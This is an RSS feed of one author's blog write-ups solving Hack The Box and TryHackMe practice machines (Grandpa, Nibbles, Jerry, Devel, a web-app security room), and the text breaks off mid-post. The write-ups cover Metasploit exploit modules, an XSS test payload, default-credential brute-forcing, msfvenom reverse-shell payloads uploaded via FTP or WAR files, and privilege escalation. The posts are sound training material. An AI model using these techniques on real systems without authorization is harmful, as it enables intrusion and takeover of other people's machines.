<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Saloni Gupta on Medium]]></title>
        <description><![CDATA[Stories by Saloni Gupta on Medium]]></description>
        <link>https://medium.com/@iguptasaloni?source=rss-be27ed19e174------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*XJLMf9NiU3hrPrNOT4QOGA.jpeg</url>
            <title>Stories by Saloni Gupta on Medium</title>
            <link>https://medium.com/@iguptasaloni?source=rss-be27ed19e174------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 23:09:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@iguptasaloni/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Grandpa | Hack the Box | Writeup]]></title>
            <link>https://medium.com/@iguptasaloni/grandpa-hack-the-box-writeup-722da1dff70f?source=rss-be27ed19e174------2</link>
            <guid isPermaLink="false">https://medium.com/p/722da1dff70f</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[isis]]></category>
            <category><![CDATA[grandpa]]></category>
            <dc:creator><![CDATA[Saloni Gupta]]></dc:creator>
            <pubDate>Fri, 10 Sep 2021 16:08:47 GMT</pubDate>
            <atom:updated>2021-09-10T16:08:47.678Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/762/0*66zRjuytZJF-ONp6.png" /></figure><p>Hello, inquisitive minds,</p><p>Today we are solving the Granpa machine by Hack the Box. It is a window-based easy-level machine. So let’s get started.</p><p>First, let’s scan the machine. I have used rustscan. You can do it using Nmap too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*pqWKOdep8kZTG1mR_K_ELQ.png" /></figure><p>So this gives us a headstart. The machine is running a website with MS IIS. Let’s go to google and search if there is an existing vulnerability to the Microsoft IIS httpd 6.0 version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*SMINcKYcRuEWK3-e6SswjA.png" /></figure><p>And yes, we have a vulnerability here. Open the rapid7 explanation of vulnerability and follow the steps given.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*DLRTZJVmp2HST4G73i0VFw.png" /></figure><p>Start msfconsole. Use the exploit: exploit/windows/iis/iis_webdav_scstoragepathfromurl</p><p>Set options and run the exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9clpi_P52DNq7CdPtLzXGg.png" /></figure><p>We successfully opened the meterpreter session. Take a look at getuid and sysinfo. We cannot use the getuid command hence we are not the system. Let’s take a look at the running processes. And see we are not the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*4l1jgeqiYgwgilW7Yt5s0w.png" /></figure><p>Let’s try to migrate to some process under Authority. I am trying the first one with PID 1860.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/347/1*3FYTyvKCosFJxGVSHayWAQ.png" /></figure><p>Migration is successful. Let’s check the getuid.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*Ag6QCjHMzZgWIXZOZVpwOg.png" /></figure><p>But still, we are not the Authority System.</p><p>Let’s background this shell and do some privesc.</p><p>search suggested in Metasploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*28EpWynMi9Ri4nvgZNXdBw.png" /></figure><p>Just set SESSION 1 and run the exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*AEaNK0HIqqa_ZaIPjIauTA.png" /></figure><p>We have the list of all the exploits available for privilege escalation. Let’s use the first one and set options and run the exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*OabmZVwFTQvom9QT5EBjcQ.png" /></figure><p>Yess, we have the meterpreter. Let’s check the getuid to see whether we are system or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/332/1*NKsRKRNkCZDN19hfG3xLkQ.png" /></figure><p>And we are the system. Now open the shell using the shell command.</p><p>For me, the shell was breaking again and again, if it’s a problem with you too try to build a connection again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*JTlOd58a_lq0QAovOSJY6Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*GpmG9n9mz43JPK3JtaI4Yw.png" /></figure><p>Submit both the flags and it’s done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*86CE7heIoiz_PWrFrgaxCQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=722da1dff70f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WebAppSec 101 | Tryhackme writeup]]></title>
            <link>https://medium.com/@iguptasaloni/webappsec-101-tryhackme-writeup-4b4ea441adde?source=rss-be27ed19e174------2</link>
            <guid isPermaLink="false">https://medium.com/p/4b4ea441adde</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[vulnerability-scanning]]></category>
            <dc:creator><![CDATA[Saloni Gupta]]></dc:creator>
            <pubDate>Mon, 02 Aug 2021 04:48:44 GMT</pubDate>
            <atom:updated>2021-08-02T04:48:44.937Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/560/0*ZQl4Xoslf1dkkhYR.png" /></figure><p>Hello, inquisitive minds,</p><p>Today we are solving the <a href="https://tryhackme.com/room/webappsec101">Web App Security room by Try Hack Me</a>. This room shows an approach of how to test Web Applications for vulnerabilities. So let’s begin.</p><p><strong>TASK 1:</strong></p><p>Start the machine and after getting an IP Address using the following command to connect:</p><p>Step 1: cd “location of the configuration file”.</p><p>sudo openvpn - -config “Configuration filename”(without inverted commas)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TzP52gxnNpmphT42Fo8s2g.png" /></figure><p><strong>TASK 2:</strong></p><p>Now start scanning the machine using NMAP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*aST4hakeySzuuTHNyo4AYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bF6ZSevztrIPxhs47r5aew.png" /></figure><p>To get the language of the website and its version use the following command and answer the questions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*TjTZXAFVSH2f1E516IsEyg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UmY_HgYTMgpvx7KTvc1sAg.png" /></figure><p><strong>TASK 3:</strong></p><p>Click complete:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aT9GIl_jse_vaDULBi6yTA.png" /></figure><p><strong>TASK 4:</strong></p><p>Go to the website, and see the login part. The admin has put a very weak username and password and both are the same.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/353/1*D09jHPpssu3jPcojZ5K9cQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NeFWUZTNvCWSyNvPK8NHWQ.png" /></figure><p>Reaching the admin panel press CTRL+SHIFT+i to check the cookie of the admin page. See the storage tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*Xng8IaK1Yj0xDmeilMIxRQ.png" /></figure><p>To get the correct cookie out of two go to the console and give the following command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*ESFT1T3n03qTtTkCpsQg0w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EoIGqaZff4HbVj3xLmlflA.png" /></figure><p>I tried some users out of which one matched. Try using the same password as of username to log in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*lxdci_T63spy2jYBsgeSCg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5YkACMF8IORUv8me28H2hg.png" /></figure><p><strong>TASK 5:</strong></p><p>Use the following javascript code in the search box:</p><p>&lt;script&gt;alert(‘XSS vulnerable’)&lt;/script&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*NBRDlKHSSXgYufUx6-hktw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7pSdMOWgYpKiCUASRJZCtw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*1pEnG75dg9sV0BbhABaoNQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*vJ3ctjKqnsjpgrLxS4-_LQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n07gGcd2_6sh8WCDb8-Acw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*ts7u7vCgskgtIxgJnWBXxw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E6raqnIQ4NwzX-CnCK3WoA.png" /></figure><p><strong>TASK 6:</strong></p><p>Try accessing all the accounts:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*3GdouqL9G4j6RdClR4P68Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*yp2LYlv5RrBSVcOoQiuv1A.png" /></figure><p>And we have access to all the users on the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R41unGsZUrzx13uYVZzTrw.png" /></figure><p>Trying to access bob’s account using SQLi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*Dm5bCL1RAwuZ20xOmDCbjA.png" /></figure><p>Success:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*8s94gWz1VYZU0-YvRl95AQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m7zgZdEgtWOvlfIrFw2dEw.png" /></figure><p><strong>TASK 7:</strong></p><p><strong>Parameter manipulation-</strong></p><p>In the URL we have a userid parameter set to 1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*-ET4JSIpVDIgSxGgrJ55RQ.png" /></figure><p>Let’s try to change it to 2. And we have Bob’s pictures.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*wdZhe6Qj1Q0kSIfU2M2dkQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t69Mk7TqBhp7QHXpOAAuEQ.png" /></figure><p><strong>Directory Traversal.</strong></p><p>Try to visit some common directories such as /images, /pictures</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*sU6a3M3zr43tuYffH7UhrA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*HJWKoSiQ67ILccYdPxN3dA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FW76YrXJR0QwpA3-TgiNKg.png" /></figure><p><strong>Forceful browsing.</strong></p><p>Even without proper authentication, we can access Bryce&#39;s pictures.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*FnsPT6wemCCcFDW_Co6wmw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*f4tYUuA72q6SEnKxxiTeQw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BYcYI80ptGcyRyOb__8BuA.png" /></figure><p><strong>Logic Flaw.</strong></p><p>Add an image to your cart. Now go to the cart and now open the actual link for the image. We can download the high-quality image from here without actually buying it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*l5Ytl1UrfrTV6LrKijTyAA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gPjrfodsgPXMdsZwn_xcyg.png" /></figure><p>That&#39;s all for this room. I hope it was helpful. Thankyou for reading :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4b4ea441adde" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Nibbles using Metasploit| HTB]]></title>
            <link>https://medium.com/@iguptasaloni/nibbles-using-metasploit-htb-dc3e760ca519?source=rss-be27ed19e174------2</link>
            <guid isPermaLink="false">https://medium.com/p/dc3e760ca519</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[nibble]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Saloni Gupta]]></dc:creator>
            <pubDate>Fri, 30 Jul 2021 08:44:35 GMT</pubDate>
            <atom:updated>2021-07-30T08:44:35.618Z</atom:updated>
            <content:encoded><![CDATA[<h3>Nibbles using Metasploit | HTB</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YsrPbKKgC6jUYA_7.png" /></figure><p>Hello, inquisitive minds,</p><p>Today we are solving Nibbles by Hack the Box. It is an easy level-Linux-based machine.</p><p>So let’s begin.</p><p>First, scan the machine using Nmap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*CFw02IhSH2bjBzjNQwChZg.png" /></figure><p>Here we have 2 ports open.</p><p>i) The ssh (port 22), running 7.2p2 version on Ubuntu 4ubuntu2.2</p><p>ii) The HTTP (port 80), running on Apache 2.4.15</p><p>Let’s go to the browser and open the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*IdSoJUkJZsjDzVPXJNcz5Q.png" /></figure><p>There is literally nothing on the webpage. Let’s look at the source code of the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*X2ITksxLTmEwj4oSk2rT8Q.png" /></figure><p>The comment seems interesting. We have a directory called /nibbleblog.</p><p>Let’s move to this directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*kdOXFPtc0_n-B-uB2q2XQQ.png" /></figure><p>I searched through the page for a while but it seems a dead end. Then I open dirbuster and started directory brute-forcing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*OQIZmfYQI5AzgBU1-sNKGg.png" /></figure><p>I found a lot of directories but /nibbleblog/admin.php looks juicy. So let’s go to the webpage and traverse to this directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*JhT5XI3K9wBZbxklwph9tw.png" /></figure><p>We have no other way to get credentials so let&#39;s try default passwords. (I also tried bruteforcing with burp suite but the website gives a time out after a certain number of failed attempts).</p><p>I was sure for a username as admin and for the password, I tried some like — admin, password, root, nibble, nibbles. And we got lucky here. The credentials came out to be — admin:nibbles</p><p>On logging in, we saw this dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Zqq0_EjqlIHUq9GfoOLsQ.png" /></figure><p>Let’s got o the settings tab and see which version of nibbleblog are they running. Now google an exploit for it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*seGjoyxkLbXQY9W_8PSVdQ.png" /></figure><p>Open the rapid-7 tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*T_q6sf7TeE-kY5fSGOjAPw.png" /></figure><p>So the flaw allows an authenticated remote attacker to execute arbitrary PHP code. Perfect! We have the credentials, so we can use it.</p><p>Go to terminal and open Metasploit, using command msfconsole.</p><p>Now do as directed by the Rapid-7.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*f5Zhqy1lsma6_T39wTRilw.png" /></figure><p>Set the target uri and payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k3eTRGbIW5iogtOPWRJ5XA.png" /></figure><p>Set all the other options:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*yLa7Mei_br9Q83QWjFfOEA.png" /></figure><p>It should look like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*HJ4_ui47YZUIE8t3sUhR2w.png" /></figure><p>Now run the exploit and you have a meterpreter shell open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*jgpoODmkqXMYmyjG2FB5Rw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*qwhYBxpu8fbBCk3FGEsycQ.png" /></figure><p>We are nibbler and not root. Okay, so first create a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/180/1*LAKpaIJlYOk5V0WR0kJBNw.png" /></figure><p>Now get an interactive shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*6c6sdF3DG9chAld9XLk04g.png" /></figure><p>Now you can easily read the user’s flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*EOItLXSqbiyEyZaxc0HLhg.png" /></figure><p>Now for getting the root flag, we need to escalate privileges and become root user. For that first let’s see the sudo permission list.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*vdAuCHyd42JUY4YKTte9tw.png" /></figure><p>So we can run the monitor.sh file in the /personal/stuff directory as root without any password. Simple we don’t care what’s inside monitor.sh we will just put our code inside it and execute it.</p><p>For that first let’s unzip the personal.zip folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*G9GHN5J-JfSnnQPRGOiY7A.png" /></figure><p>Here we have /personal/stuff/monitor.sh . Now put the following code in monitor.sh to become root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*ew7lMf5pLqNrsVaH71zFbg.png" /></figure><p>And now we are root. Just read the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*fWChxOEAOYwXlmnUmZAa1A.png" /></figure><p>Submit the flags.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*YHtpWuElDwoixH_Fj2NXHA.png" /></figure><p>That’s all for this room.</p><p>If you enjoyed this write-up, do appreciate. Thankyou :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dc3e760ca519" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[JERRY | HTB | WRITEUP]]></title>
            <link>https://medium.com/@iguptasaloni/jerry-htb-writeup-504f96e55897?source=rss-be27ed19e174------2</link>
            <guid isPermaLink="false">https://medium.com/p/504f96e55897</guid>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[jerry]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Saloni Gupta]]></dc:creator>
            <pubDate>Thu, 29 Jul 2021 07:53:45 GMT</pubDate>
            <atom:updated>2021-07-29T07:53:45.362Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*RKd1sUtiD71R_9Yv.png" /></figure><p>Hello, inquisitive minds,</p><p>Today we are solving an easy-level machine on Hack The Box called Jerry. The machine is Windows-based and today we will be seeing default credentials and how they can be misused. We will also be using burpsuite and file uploading.</p><p>So, lets begin.</p><p>Start with scanning the machine.</p><p>Command : nmap -p- 10.10.10.95 -A -T4</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*FQHbjmLzGwIemL7MuFjP7g.png" /></figure><p>We found that port 8080 is open. Actually port 8080 is default for tomcat webservers, which is evident from the nmap results too. Is used for unencrypted web traffic(http) and for non-commercial websites(localhost). Is is a proxy and catching port.</p><p>So, go to the web browser and browse the website at port 8080.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YuQf2P5ecftqvcyCHAFrcw.png" /></figure><p>After spending some time on the website, I found the Manager App requires some credentials to login. So go to google and search for default credentials for tomcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*P1LnN0UBjvS8VXf0OkgI8A.png" /></figure><p>Open the github tab. Copy all the recorded default credentials and paste it to your text editor in kali and save it. My editor is gedit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/246/1*hX-89HNEJE8_u6xifnPbag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Lr145eINdkyu8dwM6ygKA.png" /></figure><p>Now, we will perform brute force with the given list of credentials using burp suite.</p><p>In browser, set your proxy settings to burp proxy and open manager app. Put some random credentials, username=tomcat and password=tomcat.</p><p>Open burpsuite, in proxy tab make sure the intercept is on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*gBhihY-8Gh6T1lecHJYfSQ.png" /></figure><p>Now, authenticate the given credentials and see what happens in burp suite. Your web page should not load and the request should get intercepted by burp suite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*EzjZIhP5mWg2Xm4brMQXkA.png" /></figure><p>See the Authorization section. We have given the credentials- username as tomcat and password as tomcat but it is base64 encoded. Select the coded credentials and right click on it. Send it to Decoder.</p><p>Next see the actions tab. Open it and send the complete request to Intruder for brute forcing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*b6wdzCFVlgkYKCcGX3OtqQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*4TR-0CI1LSbkCXcj810hxw.png" /></figure><p>Now that open Decoder tab in burp suite and select the decoding version. You will see the decoded text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*StG0YRWnEO9Cp8DgFcy5FQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7-cM57aHgeFUyM5mAOJ37Q.png" /></figure><p>And hence we have decoded the given credentials. Look at the format in which the server is taking credentials. It is username:password. So we have to change our default credential list into this format, and then to base64, only then we can perform brute force.</p><p>Open your editor where you have your saved credentials list. Copy the line space between username and password of any one credential. Press Ctrl+H and now paste this copied line space into find and replace it with : (colons). Click Replace All.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*FfLUlOwChmN4Ik1rqU7QvQ.png" /></figure><p>So now we have changed our list to the given format. Now, we need to encode it to base64. We will use some bash scripting for this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*7MsmQF3ht5_9PluX_jQ3CA.png" /></figure><p>And voila!! We have changed the list into base64 format. Copy this list and let’s go back to burp suite.</p><p>Open the Intruder section and select the coded credentials and click Add.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aflBG-CddF-DV8MSktdn9Q.png" /></figure><p>After adding this, go to the payloads section. Paste the copied credential list here. And uncheck the payload encoding box in the end. It will prevent detecting the special characters used in the list. Finally click Start Attack button at the top right corner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1FW-769j_wDzvk6CW09pIg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*a7icGQ52W6xZawL54Y_SCg.png" /></figure><p>You will start getting results. A 200 response code is a WIN. So, wait for the 200 code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*4wU2e1F29ZHBBZAqfyraSw.png" /></figure><p>We found the correct credentials. Copy it and paste it to the decoder section for getting the credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gf8g7ZGFmyFxCackW_mTkQ.png" /></figure><p>You have found the credentials. Now you can close burp suite. Go to the website and try login manager app with tomcat:s3cret. And you are in. (Don’t forget to turn off proxy).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f7qB-aB0aU_o7_JKbBdlNg.png" /></figure><p>Once you are in. Investigate the website in all possible ways. I found two juicy things. The first is the OS name and version for finding the correct exploit and the WAR file upload section.</p><p>So google for the exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*ZVcdqPZ51ZnU_OkEWFURNg.png" /></figure><p>Opening this link will give you a long list of exploits. We are looking for a .war specific. This is the one we are looking for.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PBrA1cMzDJ0NCoHqzKNc0A.png" /></figure><p>Use msfvenom in your kali machine. Set LHOST to your tun0 IP, LPORT to 4444 and save it to a war file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*Lw4bl8kgXxG8IGJKo7AX8A.png" /></figure><p>Upload this file on the server using browse button and click deploy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*4zHMhIIthyknsFx0HVS-rQ.png" /></figure><p>Now open netcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*QRP6ffDkm52w_cUZumx3mw.png" /></figure><p>The shell.war file should have been uploaded in the manager app. Run it by simply clicking on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M0_v0y4QONpA4xsQ0KzkKg.png" /></figure><p>And you will have a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*_FzQ02yPS6XEzHP-sjI-Tg.png" /></figure><p>Yes! We are also the authority system. So, no problem just cd to \Users\Administrator\Desktop\flags</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*ofkMLwtBv_c7zkHPoxcQRA.png" /></figure><p>Type both the flags. Don’t forget to put the name in commas as the filename has spaces in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*Hfuzxn4nyz2kJ1RVuuEZNA.png" /></figure><p>And the machine is pwned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*gFlkaC5J8Swe_OEWkt-mtw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=504f96e55897" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box writeup: DEVEL]]></title>
            <link>https://medium.com/@iguptasaloni/hack-the-box-writeup-devel-f7f48557434b?source=rss-be27ed19e174------2</link>
            <guid isPermaLink="false">https://medium.com/p/f7f48557434b</guid>
            <category><![CDATA[devel]]></category>
            <category><![CDATA[windows-priv-escalation]]></category>
            <category><![CDATA[ftp]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Saloni Gupta]]></dc:creator>
            <pubDate>Wed, 28 Jul 2021 07:58:10 GMT</pubDate>
            <atom:updated>2021-07-28T07:58:10.415Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*nIUE6WfZJzOLIhHMUsXyyg.png" /></figure><p>Hello, inquisitive minds,</p><p>Today we are solving the DEVEL machine by Hack the box. It is an easy-level windows machine. And we will learn about FTP here.</p><p>So let&#39;s begin…</p><p>First of all, scan the machine for open ports and related services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*JNraKh0ljt88vw6yrFxEBA.png" /></figure><p>From the Nmap results, we have the following findings:</p><ol><li>Port 21 is open with FTP service and visible files uploaded.</li><li>Port 80 is open with HTTP service. This indicates a website running.</li><li>We also found the IIS7 server software.</li></ol><p>Okay, let’s open the website and see what’s there:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*Cf35zC6KyiUVIImj2ZMHAw.png" /></figure><p>Looking at the source code of the webpage:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*ldDlvgky3-0xFyY5Eb1egQ.png" /></figure><p>And here we found the same welcom.png file. Basically, it’s a pentest finding. But it gives us a hint that maybe we can upload malware to the server.</p><p>Go back to the terminal and check if we have access to the FTP service using Anonymous:Anonymous (user:password). And yes we have the access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*4as6iw3z4DZssHlEQp4kuA.png" /></figure><p>So, what’s stopping us from uploading malware there. Let’s generate malware using msfvenom. Use the following command, set LHOST to your tun0 IP, LPORT to 4444 filetypes to aspx(because it is windows), and save it to a file safe2.aspx (you can name it according to your wish).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*TNBBQV-gk1kSYEtcnYZNKw.png" /></figure><p>Now let’s put this malware on the webserver using FTP. If you are facing any issue with FTP it’s probably because of ASCII transfer so it’s better to change the mode to binary. (You may lose your FTP connection just command “bye” and reconnect).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*8ZrCGV-0Y4sy6zC5E3QZcw.png" /></figure><p>After uploading the file, open a listener using netcat:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/246/1*mNu6aMmfgaIY21sSfrUsFQ.png" /></figure><p>Now, go to the website and traverse to /safe2.aspx</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*qxGPRJVB5uCjPaSL0q1lfQ.png" /></figure><p>Look at your netcat terminal and you will have your reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*uKnplydjmeR2guC7MM36cA.png" /></figure><p>So that now we are in, go to C\Users and try to access Administrator and babis directories. It will show: “Access Denied”. Ann hell, we are not the authority system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*cYxCmRSX2cowp3mhjiuPOw.png" /></figure><p>Let’s get the system information:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*tJwXFVcPOQVoqM0hR-ai2g.png" /><figcaption>s</figcaption></figure><p>The hotfixes are not applied. So we can find a privilege escalation exploit and become an authority system to get the flags.</p><p>Share everything that you know about the system with google and note down the CVE for the required exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*8irg9zGhhmVeuf5fYIEcmA.png" /></figure><p>The CVE we require is 40564.</p><p>Go back to our terminal (kali machine) and do searchsploit for this 